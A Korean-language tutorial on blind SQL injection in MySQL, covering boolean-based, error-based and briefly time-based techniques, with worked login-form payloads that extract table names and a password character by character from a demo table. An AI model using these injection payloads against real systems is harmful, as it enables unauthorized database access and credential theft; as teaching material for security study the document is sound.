Blind SQL Injection
Boolean-based Blind SQL Injection
쿼리 실행 결과의 True / False
여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다.
꼭 로그인에 성공해야
True
인 것은 아니다. query의 실행 결과가 참인 상태에서 로그인에 실패한 것과 query 실행 결과가 거짓인 상태에서 로그인에 실패한 것 둘을 구분할 수 있다면 사용할 수 있다. 중요한 것은 query의 실행 결과를 구분할 수 있느냐다.
다음 내장 함수를 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
SUBSTR(str,pos,len) / ASCII(str)
mysql> select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum';
OR
mysql> select ascii(substr((select pw from sqlinj\_test where id='umbum'), 1, 1));
+-------------------------+
| ascii(substr(pw, 1, 1)) |
+-------------------------+ -- pw is '123qwe'
| 49 | -- ascii('1') == 49
+-------------------------+
umbum' #
을 적어 보내면, 참일 때의 반응이 돌아온다. 이를 이용해 form에 다음과 같이 입력하면, 참일 때의 반응이 돌아온다.
1
2
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 0 #
#1 information_schema를 대상으로 Blind SQL injection을 수행해 table_name, column_name 등 사전 정보를 먼저 획득하고, #2 획득한 table_name, column_name을 대상으로 Blind SQL injection을 수행해 최종적으로 필요한 정보를 획득하는 식으로 진행된다.
#1 사전 정보 획득
table_name을 알아낸다.
1
2
3
4
5
6
7
8
mysql> SELECT table\_name FROM information\_schema.tables
-> WHERE table\_type = 'BASE TABLE'
-> LIMIT 53, 1;
+-------------+
| table\_name |
+-------------+
| sqlinj\_test |
+-------------+
결과를 한 row 씩 반환받기 위해 mysql은 LIMIT n, 1
을 사용한다. n >= 0
(ROWNUM
이나 TOP
을 사용하는 db도 있다.)
LIMIT
를 사용할 때는 rows 반환 순서를 고려해야 한다. 반환 순서가 지멋대로 일 경우 ORDER BY
와 함께 사용하면 좋다.
- 일반적인 경우 table을 생성하면 table_type은
BASE TABLE
로 지정된다. - root 계정일 경우
BASE TABLE
로 설정해도 반환되는 테이블이 꽤 많지만(보통 +52개), 일반 계정은BASE TABLE
로 설정하면 생성한 테이블만 반환된다.
1
2
3
umbum' and (SELECT ascii(substr(table\_name, 1, 1)) FROM information\_schema.tables WHERE table\_type = 'BASE TABLE' LIMIT 1, 1) > 114 # True
umbum' and (SELECT ascii(substr(table\_name, 1, 1)) FROM information\_schema.tables WHERE table\_type = 'BASE TABLE' LIMIT 1, 1) > 115 # False
따라서 첫 번째 글자는 115 = s
다. column_name도 같은 방식으로 알아낼 수 있다.
Note
1
select info from information\_schema.processlist;
조회되는 테이블이 너무 많을 때 쓸만한 방법. 현재 실행중인 쿼리를 볼 수 있기 때문에 타이밍이 맞는다면 원하는 정보를 담고 있는 테이블을 알아내는데 사용할 수 있다.
#2
1
2
3
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 48 # True
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj\_test where id='umbum') > 49 # False
이므로, umbum’s pw의 첫 번째 글자는 49 = '1'
이다.
binary search
binary search를 이용하면 한 char 당 7번의 query만 날려도 구할 수 있어 시간을 단축할 수 있다. Note ) 그러나 사용하지 말아야 할 때도 있다. binary search는 내장 함수를 이용해 이런 방법으로도 구현할 수 있다.
1
2
3
4
## a == 0b1100001
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1); # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),2,1); # 1
select substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),3,1); # 0
'1'
같은 경우 맨 앞이 0이라 6자리로 나오기 때문에 lpad()
를 사용해 7자리로 맞춰주어야 한다.
Error-based Blind SQL Injection
True / False
의 반응이 똑같아 구분할 수 없다면 Boolean-based는 사용할 수 없다. 그러나 이 때 Error의 반응이 다르다면 False
시 Error가 발생하도록 만들어 sql True / False
를 구분하는데 이용할 수 있다.
1
2
select \* from table where 1 and if(1=1,1,(select 1 union select 2))
select \* from table where 1 and if(1=2,1,(select 1 union select 2))
True
이면 1을 반환하고, False
이면 Error가 발생한다.
Time-base Blind SQL Injection
Time-based Blind도 True / False
여부에 상관 없이 동일한 response가 오는 상황에서 사용할 수 있다. Short-Circuit Evaluation 또는 IF를 활용해 sleep()
이 실행되거나, 실행되지 않도록 한다.